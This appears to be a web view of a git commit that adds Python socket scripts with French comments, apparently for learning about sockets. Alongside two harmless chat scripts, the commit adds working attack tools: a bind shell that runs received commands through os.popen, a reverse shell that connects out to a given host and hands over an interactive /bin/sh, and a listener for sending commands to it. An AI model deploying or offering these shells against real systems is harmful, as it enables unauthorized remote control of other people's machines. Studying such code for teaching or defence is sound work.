summaryrefslogtreecommitdiff
path: root/sockets
diff options
context:
space:
mode:
authorjerome <jerome@xlinfo.fr>2025-10-12 17:41:43 +0200
committerjerome <jerome@xlinfo.fr>2025-10-12 17:41:43 +0200
commitec8893a097a6c0fffebd7db9e4a5568a3bf4df47 (patch)
treeffebe60c3aa98df05d14aec8cea937430272c1ec /sockets
parentba41fa46e69dbb264dfbed1b9fca5daab44a07c7 (diff)
downloadpython-ec8893a097a6c0fffebd7db9e4a5568a3bf4df47.tar.gz
python-ec8893a097a6c0fffebd7db9e4a5568a3bf4df47.zip
organisation
Diffstat (limited to 'sockets')
-rw-r--r--sockets/bindshell.py31
-rw-r--r--sockets/chat_client.py26
-rw-r--r--sockets/chat_server.py29
-rw-r--r--sockets/reverseshell.py18
-rw-r--r--sockets/reverseshell_listener.py36
5 files changed, 140 insertions, 0 deletions
diff --git a/sockets/bindshell.py b/sockets/bindshell.py
new file mode 100644
index 0000000..5213002
--- /dev/null
+++ b/sockets/bindshell.py
@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+
+import sys, os, socket
+
+def bindshell(port):
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.bind(('',port))
+ s.listen()
+ conn,addr = s.accept()
+ while 1:
+ data = conn.recv(1024)
+ reponse = os.popen(data.decode().strip()).read()
+ conn.sendall(str(reponse).encode())
+ except KeyboardInterrupt:
+ s.close()
+ finally:
+ print("bye")
+
+if __name__ == "__main__":
+ try:
+ bindshell(int(sys.argv[1]))
+ except IndexError:
+ print(f"{sys.argv[0]} demande un port en agument")
+
+
+
+
+
+
+
diff --git a/sockets/chat_client.py b/sockets/chat_client.py
new file mode 100644
index 0000000..affc1d3
--- /dev/null
+++ b/sockets/chat_client.py
@@ -0,0 +1,26 @@
+#!/usr/bin/env python3
+
+import sys,socket,os
+
+def chat_client(host,port):
+ whoami = os.getenv("USER")
+ try:
+ s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+ s.connect((host,port))
+ while True:
+ message = input("moi > ")
+ message = whoami+" > "+message # à commenter pour le bindshell
+ s.sendall(message.encode())
+ data = s.recv(1024)
+ print(data.decode().strip())
+ except KeyboardInterrupt:
+ s.close()
+ finally:
+ print("bye")
+
+if __name__ == "__main__":
+ try:
+ chat_client(sys.argv[1],int(sys.argv[2]))
+ except IndexError:
+ print(f"{sys.argv[0]} demande un hôte où se connecter et un numéro de port")
+
diff --git a/sockets/chat_server.py b/sockets/chat_server.py
new file mode 100644
index 0000000..aecf8c9
--- /dev/null
+++ b/sockets/chat_server.py
@@ -0,0 +1,29 @@
+#!/usr/bin/env python3
+
+import sys,socket,os
+
+def chat_server(port):
+ whoami = os.getenv("USER")
+ try:
+ s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+ s.bind(('',port))
+ s.listen()
+ conn,addr = s.accept()
+ print(f"Connexion depuis {addr[0]} sur le port {addr[1]}")
+ while True:
+ data = conn.recv(1024)
+ print(data.decode())
+ reponse = input("moi > ")
+ reponse = whoami+" > "+reponse
+ conn.sendall(reponse.encode().strip())
+ except KeyboardInterrupt:
+ s.close()
+ finally:
+ print("bye")
+
+if __name__ == "__main__":
+ try:
+ chat_server(int(sys.argv[1]))
+ except IndexError:
+ print(f"{sys.argv[0]} demande un numéro de port en argument")
+
diff --git a/sockets/reverseshell.py b/sockets/reverseshell.py
new file mode 100644
index 0000000..fc7e860
--- /dev/null
+++ b/sockets/reverseshell.py
@@ -0,0 +1,18 @@
+#!/usr/bin/env python
+
+import sys, os, socket
+
+def reverseshell(host,port):
+ s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+ s.connect((host,port))
+ os.dup2(s.fileno(),0)
+ os.dup2(s.fileno(),1)
+ os.dup2(s.fileno(),2)
+ os.system("/bin/sh -i")
+
+if __name__ == "__main__":
+ try:
+ reverseshell(sys.argv[1],int(sys.argv[2]))
+ except IndexError:
+ print(f"{sys.argv[0]} demande un hôte et un port en agument")
+
diff --git a/sockets/reverseshell_listener.py b/sockets/reverseshell_listener.py
new file mode 100644
index 0000000..23eb39a
--- /dev/null
+++ b/sockets/reverseshell_listener.py
@@ -0,0 +1,36 @@
+#!/usr/bin/env python
+
+import sys,socket,time
+
+def chat_server(port):
+ try:
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ s.bind(('',port))
+ s.listen()
+ conn,addr = s.accept()
+ print(f"Connexion depuis {addr[0]} sur le port {addr[1]}")
+ while True:
+ data = conn.recv(4096)
+ print(data.decode(),end="")
+ command = input()
+ command += "\n"
+ conn.send(command.encode())
+ time.sleep(0.1)
+ except KeyboardInterrupt:
+ s.close()
+ finally:
+ print("bye")
+
+if __name__ == "__main__":
+ try:
+ chat_server(int(sys.argv[1]))
+ except IndexError:
+ print(f"{sys.argv[0]} demande un port en agument")
+
+
+
+
+
+
+
+